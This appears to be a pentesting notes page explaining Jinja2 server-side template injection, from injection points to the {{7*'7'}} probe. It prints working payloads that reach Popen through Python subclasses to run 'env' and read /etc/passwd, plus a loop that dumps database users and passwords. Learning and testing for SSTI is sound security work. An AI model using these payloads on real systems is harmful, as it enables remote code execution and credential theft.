Jinja2 SSTI

Jinja2 Server Side Template Injection

What are templates?

A template is a file or string that contains both static text and special placeholders that get replaced with real data when generating the final content.

We can have a template like:

Hello {{ name }}!

With name = "Alice", it becomes:

Hello Alice!

Looking for injection points

Entry point
Description

User Input Fields

Inputs like textboxes, search bars, or comment sections where users can enter data.

URL parameters

Values passed in the URL query string or as part of the path that can be manipulated.

HTTP-Header

Headers such as User-Agent or Referer that may contain user-supplied data.

Cookies

Data stored in browser cookies that users can tamper with.

Form Data

Data submitted through web forms that might be used in templates.

File Uploads

Uploaded files that may be processed by the template engine, posing a security risk.

Database Queries

Dynamic content retrieved from the database that could include unsafe user input.

For the Jinja templates check for vulnerablity with {{7*'7'}} , if the output show 49 its vulnerable.

SSTI Exploration

Server Side Template Injections (SSTI) vulnerabilities can happen when an attacker can modify the template code before it being rendered by the template engine. When running in sandboxed enviroments and keywords are blocked we can still check for:

  • {{ dict }}: Class object of the dictionary.

  • {{ request }}: Object containing request information.

  • {{ config }}:

In python variables are objects and those objects internal functions, they start with __ and end with __. If you would look at the int functions with dir() like dir(int(0)) you will see:

  • __add__ — used when you do 1 + 2

  • __str__ — used when you do str(5) (for printing)

  • __repr__ — used for representing the object in code (repr(5))

Using classes like Popen to execute code

In case of using editor print like

print(render_template_string("{{ [].__class__.__base__.__subclasses__()[317]('env', shell=True, stdout=-1).communicate()[0].strip() }}"))
# Check base class
{{ [].__class__.__base__ }}

# List sublasses
{{ [].__class__.__base__.__subclasses__() }}

# Return class of index
{{ [].__class__.__base__.__subclasses__()[422] }}

# If you found index of subclass.Popen, call it and get RCE.
{{ [].__class__.__base__.__subclasses__()[422](‘cat /etc/passwd’,shell=True,stdout=-1).communicate()[0].strip() }}

Acces database

Not SSTI specific but with python get users and passwords

for user in User.query.all():
    print(user.__dict__)

Last updated

Was this helpful?